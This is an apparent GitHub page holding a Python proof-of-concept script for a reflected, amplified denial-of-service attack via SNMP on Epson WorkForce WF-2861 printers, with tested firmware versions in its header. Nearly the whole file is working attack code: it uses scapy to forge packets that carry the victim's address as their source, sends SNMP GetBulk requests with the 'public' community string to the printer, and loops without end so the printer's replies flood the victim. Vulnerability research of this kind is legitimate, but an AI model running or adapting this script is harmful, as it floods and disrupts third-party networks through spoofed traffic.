Permalink
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 54 lines (45 sloc) 1.9 KB
#############################################################
# Proof Of Concepts - reflected DOS by SNMP Protocol #
# email : epist.fortunatos@gmail.com #
# #
# tested specifications #
# firmware version : 10.48 LQ22I3(Recovery-mode), #
# 10.51.LQ20I6, #
# 10.52.LQ17IA(Latest) #
# printer model : WorkForce WF-2861 #
# effect : Network resource #
#############################################################
#!/usr/bin/env python
from scapy.all import *
import os, sys, argparse
SNMP_PORT = 161
def usage():
parser = argparse.ArgumentParser(description='Epson Printer Reflected-DOS Vulnerability Check.')
parser.add_argument('-t', '--target', help='victim\'s address (DOS target)')
parser.add_argument('-p', '--printer', help='epson printer that use snmp')
args = parser.parse_args()
if args.target != None and args.printer != None:
return args
else:
print "Invalid arguments, Please set the correct arguments" + os.linesep
exit(1)
# amplify packet data by using snmpbulk version v2c
def generateRequest(target, printer):
eth = Ether()
ip = IP(src=target, dst=printer)
udp = UDP(sport=RandShort(), dport=SNMP_PORT)
snmp = SNMP(version='v2c', community='public', PDU=SNMPbulk(id=RandNum(1,200000000), max_repetitions=10, varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1'))]))
return (eth/ip/udp/snmp)
def requestResponse(packet):
sendp(packet, loop=1)
def main():
args = usage()
rq = generateRequest(args.target, args.printer)
requestResponse(rq)
if __name__ == '__main__':
try:
main()
except:
print "[-]exception occur"
finally:
exit(1)